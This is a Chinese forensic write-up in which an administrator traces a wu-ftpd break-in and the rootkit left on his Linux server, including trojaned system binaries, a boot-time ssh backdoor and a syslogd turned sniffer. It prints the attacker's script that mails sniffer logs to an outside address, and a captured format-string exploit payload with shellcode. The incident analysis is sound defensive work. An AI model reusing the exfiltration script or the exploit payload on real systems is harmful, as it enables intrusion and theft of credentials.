频道栏目
首页 > 资讯 > 系统安全 > 正文

网上追踪黑客

04-10-18        来源:[db:作者]  
收藏   我要投稿

1.昨天当我查询我的一台机器时,意外的发现有人入侵了 其实是我自己的失误,没有打上wuftpd26的补丁,
又没有改/etc/ftpusers 让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器。不过这位朋
友显然未加考虑的使用了rootkit,结果造成ps 输出的结果是这样:

[root@ns]# ps
PID TTY STAT TIME COMMAND
678 1 S 0:00 /sbin/mingetty tty1
679 2 S 0:00 /sbin/mingetty tty2
680 3 S 0:00 /sbin/mingetty tty3
681 4 S 0:00 /sbin/mingetty tty4
682 5 S 0:00 /sbin/mingetty tty5
683 6 S 0:00 /sbin/mingetty tty6
5557 ? S 0:00 /bin/sh -i
5591 ? R 0:00 ps

这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧
[这位hack没有想到这机器已经早有主人了,并且安装了自己的rootkit工具包]
[root@ns]# strings /bin/login|more
..........
__bss_start
_end
PPRV
DISPLAY
/bin/envpc
l4m3r0x
/bin/sh
从上可以看出是个login后门,通过export PATH="l4m3r0x"后,直接telnet对方就能得到#
[root@ns]# strings /bin/ls|more
.....
always
/usr/local/share/locale
fileutils
GNU fileutils-3.13
vdir
%s - %s
/dev/sgk/.fsdc/.1file
//DIRED//
//SUBDIRED//
POSIXLY_CORRECT
COLUMNS
注意看了, /dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧
[root@ns]# mv /dev/sgk/.fsdc/.1file /tmp
[root@ns]# ls -la /dev/sgk/.fsdc
total 641
drwxr-xr-x 5 root ftp 1024 Feb 4 09:01 .
drwxr-xr-x 3 root ftp 1024 Feb 2 17:11 ..
-rw-r--r-- 1 root ftp 7 Feb 2 17:11 .1logz
-rw-r--r-- 1 root ftp 88 Feb 2 17:11 .1proc
drwxr-xr-x 2 root ftp 1024 Feb 2 17:11 backup
drwxrwxr-x 2 lujiang lujiang 1024 Feb 2 17:14 clean
-rwxr-xr-x 1 lujiang lujiang 5578 Nov 18 11:08 filetrans
-rwxr-xr-x 1 lujiang lujiang 9396 Aug 23 1999 killall-real
-rwxr-xr-x 1 lujiang lujiang 7578 Aug 21 17:22 parse
-rwxr-xr-x 1 lujiang lujiang 6232 Sep 9 1999 parse1
drwxrwxr-x 2 lujiang lujiang 1024 Jan 28 16:34 patches
-rwxr-xr-x 1 lujiang lujiang 28004 Aug 23 1999 ps-real
-rwxr-xr-x 1 lujiang lujiang 580696 Feb 18 2000 ssh
-rw-r--r-- 1 root ftp 1398 Feb 4 08:55 system

呵呵,看来东西还真不少,从ftp可以知道他是利用的ftP漏洞,从lujiang知道他还窃取了个本地用户
[root@ns .fsdc]# cat .1logz
rshd
[root@ns .fsdc]# cat .1proc
3 nscd
2 nmap
2 lscan
2 login
2 lpset
2 xtty
2 nscd
3 statd
3 lpq
3 scan
3 sniff
3 envpc
[root@ns .fsdc]# cat /tmp/.1file
sgk
.fsdc
.clib
.1proc
.1addr
.1file
.1logz
envpc
xtty
pttys
filetrans
lpset
libload
system
parse

.1logz是被syslogd调用,隐藏所列出命令所产生的记录.
.1proc被ps命令调用.隐藏所列出的进程名称
.1file被ls,find命令掉用.隐藏所列出的文件名,
[root@ns .fsdc]# cd patches
[root@ns patches]# cat patch.sh
#!/bin/sh
echo "[1] Patching WU-FTPd..."
rpm -Uhv wuftpd.rpm
echo "[2] Patching NFS-utils..."
rpm -Fvh nfs-utils.rpm
ps aux >> /tmp/psaux
if [ "`cat /tmp/psaux | grep rpc.statd`" ]; then
echo "[3] Restarting the rpc.statd daemon (NFS-utils)"
/etc/rc.d/init.d/nfslock restart
else
echo "[4] The daemon rpc.statd isnt running, so no need to restart!"
fi
rm /tmp/psaux
这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]
其他的文件目录我就没有仔细看了[这些打包后会提供下载]
根据.1file的隐藏文件列表我们一一找到了这些文件.
[root@ns .fsdc]# strings /usr/bin/xtty
......
PPRV
(nfsiod)
socket
bind
listen
accept
/bin/sh
不难看出是个后门
[root@ns .fsdc]# strings /dev/pttys
#!/bin/sh
cat /dev/sgk/.fsdc/system | mail prosupp@usa.net >/dev/null 2>&1
nohup /usr/lib/lpset > /dev/null &
nohup /usr/bin/xtty > /dev/null &
rm -rf nohup.out
这位hack很聪明,通过此脚本就可以把嗅探记录发往prosupp@usa.net [/dev/sgk/.fsdc/system是个嗅探记录]
[root@ns .fsdc]# cat /etc/rc.d/rc.sysinit|more
..........
if [ "$PROMPT" != "no" ]; then
/sbin/getkey i && touch /var/run/confirm
fi
wait
# Name Server Cache Daemon..
/usr/sbin/nscd -q
# Name Server Cache Daemon..
/usr/sbin/nscd -q
# Kernel module checker
/usr/lib/libload > /dev/null 2>&1
[root@ns bak]# strings /usr/sbin/nscd|more
+Q$9
/usr/info/.clib/sshd_config
Received SIGHUP; restarting.
RESTART FAILED: av[0]=%.100s, error: %.100s.
Received signal %d; terminating.
Timeout before authentication.
Generating new %d bit RSA key.
RSA key generation complete.
f:p:b:k:h:g:diqV:
i686-unknown-linux
1.2.27
sshd version %s [%s]
Usage: %s [options]
Options:
/usr/info/.clib存放着一个ssh后门,这样机器启动后都会为hack开放方便之门.
[root@ns .fsdc]# strings /sbin/syslogd
============================================================
Time: %s Size: %d
Path: %s
=> %s [%d]
------------------------------------------------------------
Exiting...
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
/dev/null
eth0
system
cant open log
这位hack改动了syslogd文件,变成了一个sniffer

。。。。。。。。。。
接下来就是还原系统了,修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的

[root@ns man]# more system2
============================================================
Time: Fri Feb 2 17:26:07 Size: 1056
Path: 210.217.237.75 => ns.xxx.cn [21]
------------------------------------------------------------
##g#>4h#>4hUSER ftp
#>hPASS 111F11CA?k^11^Ff1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11
#>h<#?hsite exec xx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
#@@h
============================================================
Time: Sat Feb 3 06:01:39 Size: 44
Path: 216.12.101.4 =

相关TAG标签
上一篇:用VBScript实现对Windows注册表的修改
下一篇:密码设置的秘诀
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站